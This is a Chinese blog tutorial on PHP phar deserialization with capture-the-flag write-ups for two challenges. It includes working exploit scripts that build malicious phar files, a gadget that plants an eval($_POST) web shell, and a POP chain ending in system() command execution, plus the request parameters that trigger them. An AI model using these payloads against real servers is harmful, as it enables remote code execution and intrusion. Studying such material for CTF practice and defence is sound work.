phar反序列化

Phar反序列化

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)

受影响的文件操作函数

漏洞利用条件

  1. phar可以上传到服务器端(存在文件上传)

  2. 要有可用的魔术方法作为“跳板”。

  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

phar生成

  <?php
      class TestObject {
      }
      $phar = new Phar("test.phar"); //后缀名必须为phar
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
      $a = new TestObject();
      $phar->setMetadata($a); //将自定义的meta-data存入manifest
      $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

 

例题

[HNCTF 2022 WEEK3]ez_phar

代码:

 <?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something upload something

这里提示upload something,猜测路径/upload.php。

 

漏洞代码是eval($this->code)这段。因为存在file_exists()函数,所以我们考虑Phar反序列化。

payload:

<?php
show_source(__FILE__);
header('Content-Type: text/html; charset=gbk');
class Flag{
    public $code='eval($_POST["a"]);';
}
$a=new Flag();
echo urlencode(serialize($a));

$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 

$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
//签名自动计算
$phar->stopBuffering();
?>

 在本地运行后生成a.phar文件,上传phar文件。

修改后缀为png,上传成功后,来到初始界面,使用phar://伪协议,GET传参:?filename=phar://upload/a.png。之后POST传参a=phpinfo();成功执行命令。

最后执行命令system('tac /ffflllaaaggg');即可获得flag。

 [SWPUCTF 2021 新生赛]babyunser

进入查看文件页面,先读取read.php,发现class.php,在读取upload.php,代码如下:

read.php

1 <?php
2 error_reporting(0);
3 $filename=$_POST['file'];
4 if(!isset($filename)){
5     die();
6 }
7 $file=new zz($filename);
8 $contents=$file->getFile();
9 ?>

upload.php

 1 <?php
 2     if(isset($_POST['submit'])){
 3         $upload_path="upload/".md5(time()).".txt";
 4         $temp_file = $_FILES['upload_file']['tmp_name'];
 5         if (move_uploaded_file($temp_file, $upload_path)) {
 6             echo "文件路径:".$upload_path;
 7         } else {
 8             $msg = '上传失败';
 9         }
10     }
11 ?>

class.php

 1 <?php
 2 class aa{
 3     public $name;
 4 
 5     public function __construct(){
 6         $this->name='aa';
 7     }
 8 
 9     public function __destruct(){
10         $this->name=strtolower($this->name);
11     }
12 }
13 
14 class ff{
15     private $content;
16     public $func;
17 
18     public function __construct(){
19         $this->content="\<?php @eval(\$_POST[1]);?>";
20     }
21 
22     public function __get($key){
23         $this->$key->{$this->func}($_POST['cmd']);
24     }
25 }
26 
27 class zz{
28     public $filename;
29     public $content='surprise';
30 
31     public function __construct($filename){
32         $this->filename=$filename;
33     }
34 
35     public function filter(){
36         if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
37             die('这不合理');
38         }
39     }
40 
41     public function write($var){
42         $filename=$this->filename;
43         $lt=$this->filename->$var;
44         //此功能废弃,不想写了
45     }
46 
47     public function getFile(){
48         $this->filter();
49         $contents=file_get_contents($this->filename);
50         if(!empty($contents)){
51             return $contents;
52         }else{
53             die("404 not found");
54         }
55     }
56 
57     public function __toString(){
58         $this->{$_POST['method']}($_POST['var']);
59         return $this->content;
60     }
61 }
62 
63 class xx{
64     public $name;
65     public $arg;
66 
67     public function __construct(){
68         $this->name='eval';
69         $this->arg='phpinfo();';
70     }
71 
72     public function __call($name,$arg){
73         $name($arg[0]);
74     }
75 }
76 ?>

在zz类中的getFlag函数发现file_get_content()函数。可以配和文件上传使用phar://反序列化。

看反序列化链子,aa类中的_construct()函数中有strtolower()函数能将字符串转化为小写,触发zz类中的_toString()函数,POST传入参数method=write和var=content,执行write()函数,触发ff类中的_get()函数,即可命令执行,_get($key)中的$key便是想要被调用的变量,这里指的是$content变量。因此要对$content进行xx类初始化。

exp

 1 <?php
 2 class aa{
 3     public $name;
 4 }
 5 
 6 class ff{
 7     private $content;
 8     public $func="system";
 9     public function __construct(){
10         $this->content=new xx();
11     }
12 }
13 
14 class zz{
15     public $filename;
16     public $content;
17 }
18 
19 class xx{
20     public $name;
21     public $arg;
22 }
23 $a=new aa();
24 $a->name=new zz();
25 $a->name->filename=new ff();
26 
27 
28 $phar = new Phar("a.phar");
29 $phar->startBuffering();
30 $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
31 $phar->setMetadata($a);
32 $phar->addFromString("test.txt", "test"); 
33 $phar->stopBuffering();
34 ?>

在本地运行获得a.phar文件,在上传文件页面上传,得到路径。

再到读取文件页面,POST传参:file=phar://upload/10fc2e21960634362c7c467b903abd46.txt&method=write&var=content&cmd=cat /flag,得到flag。

本篇文章参考了https://blog.csdn.net/unexpectedthing/article/details/122930867。

 

posted @ 2024-05-23 22:43  duskto  阅读(120)  评论(0)    收藏  举报